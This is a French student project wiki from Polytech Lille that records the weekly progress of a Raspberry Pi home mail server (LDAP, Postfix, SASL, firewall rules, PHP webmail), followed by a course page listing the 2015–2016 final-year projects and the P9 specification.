Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)

Projets IMA5 2015/2016

2016-02-10T09:06:25Z

Tteneur : /* Répartition des binômes */

Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.

Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].

== Répartition des binômes ==

<table border="1">
<tr>
<th>Projet</th>
<th>Elèves</th>
<th>Encadrant Ecole</th>
<th>Rapport décembre</th>
<th>Rapports finaux</th>
<th>Vidéo</th>
</tr>
<tr>
<td>[[P1 Convertisseur DC/DC pour réseau MTDC]]</td>
<td> Mehmet Ilter </td>
<td> Philippe DELARUE </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P2 Data Logger]]</td>
<td> Hidéo VINOT</td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015 12;00</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P4 Jukebox multi-pièces]]</td>
<td> Alexandre Jouy / Julien hérin </td>
<td> Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys </td>
<td> [[Fichier:Pre_soutenance_PFE_Jouy_herin.pdf]] </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P9 Système d'hébergement domestique]]</td>
<td> Romain Libaert / Timothée Teneur </td>
<td> Xavier Redon / Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015, 10:21, [[Fichier:P9_LIBAERT_TENEUR_DEC15.pdf]]</td>
<td> </td>
<td> RDV L. Engels le 22/02 </td>
</tr>
<tr>
<td>[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]</td>
<td> Mageshwaran Sekar </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015,07:48, [[Fichier:P10_FYP_December_Report_M_SEKAR.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P11 Spectateur augmenté]]</td>
<td> Teresa Tumbragel </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> [[Fichier:Teresa Tumbragel-Rapport Spectateur Augmente.pdf]] </td>
<td> </td>
</tr>
<tr>
<td>[[P12 Capteurs enfouis pour vieillissement du béton]]</td>
<td> JULITA Alex </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P14 Localisation dans le corps humain]]</td>
<td> Matthieu Marcadet </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 15/12/2015, 10:52, [[Fichier:Rapport_intermediaire_PFE_Marcadet.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P18 Meuble intelligent]]</td>
<td> Kevin Colautti / Benjamin Lefort </td>
<td> Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys </td>
<td> 14/12/2015, 14:44, [[Fichier:P18_pre_soutenance.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]</td>
<td> Jean Wasilewski & Pierre Letousey </td>
<td> Xavier Redon / Thomas Vantroys / Alexandre Boé </td>
<td> [[Fichier:P20_ASSP.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P24 Nuage pour sites Web]]</td>
<td> Jeremie Denechaud / Thibaut Scholaert </td>
<td> Xavier Redon / Thomas Vantroys </td>
<td> 15/12/2015, 12:02, [[Fichier:P24_Denechaud_Scholaert.pdf| Rapport intermédiaire de projet]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P25 Architecture ROS pour des véhicules autonomes intelligents]]</td>
<td> Jean-Michel Tournier / Cyril Smagghe </td>
<td> Vincent Coelen et Rochdi Merzouki </td>
<td> 15/12/2015,09:04, [[Fichier:P25-2015_Smagghe_Tournier_decembre.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P26 Robot de forgeage et d’usinage]]</td>
<td> Bertrand Yvernault / Louis Thebault </td>
<td> Rochdi Merzouki </td>
<td> 14/12/2015, 17:51</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P27 Robot de fraiseuse]]</td>
<td> Flavien Royer / Maxime Morisse </td>
<td> Rochdi Merzouki </td>
<td> 14/12/2015, 19:06, [[Fichier:Rapport_Royer_Morisse.pdf]]</td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P30 Thermostat connecté et intelligent]]</td>
<td> TISSOT Elise / TIRABY Céline </td>
<td> Guillaume Renault / Alexandre Boé / Xavier Redon </td>
<td>15/12/2015, 00:35, [[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P32 Récupération d'énergie pour balise BLE]]</td>
<td> Quentin Sultana </td>
<td> Frédéric Giraud / Alexandre Boé / Thomas Vantroys </td>
<td> 13/12/2015, 19:31, [[Fichier:CR Miprojet_Sultana.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]</td>
<td> Jérôme Bailet / Mehdi Zeggaï </td>
<td> GAPAS / Laurent Grisoni / Thomas Vantroys </td>
<td> 14/12/2015, 10:54, [[Fichier:PFE_IMA5_Rapport_intermediaire_Bailet_Zeggai.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P35 Robot de test pour le sport de Golf]]</td>
<td> Deborah Saunders </td>
<td> Rochdi Merzouki </td>
<td> 15/12/2015, 12:07</td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]</td>
<td> Sandra HAGE CHEHADE / Thomas DANEL </td>
<td> Vincent COELEN / Rochdi MERZOUKI </td>
<td> 15/12/2015, 12:02</td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]</td>
<td> Louis CHAUCHARD / Romain IMBERT </td>
<td> Blaise CONRARD </td>
<td> 14/12/2015, 19:21</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P13 Plateforme expérimentation IOT]]</td>
<td> ROCHE François </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> 14/12/2015, 19:37, [[Fichier:PFE_P13_Plateforme_expérimentation_IOT.pdf]] </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[Implantation d'un filtre FIR-FX-LMS sur FPGA pour l'annulation de Bruit Acoustique]]</td>
<td> Bown Alexander / Piat Valentin </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> NA </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[Pilulier automatique]]</td>
<td> Manouk Simon / Corentin Duplouy </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> NA </td>
<td> </td>
<td> </td>
</tr>
</table>

P9 Système d'hébergement domestique

2016-02-04T10:15:11Z

Tteneur : /* Semaine 18 (01/02/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
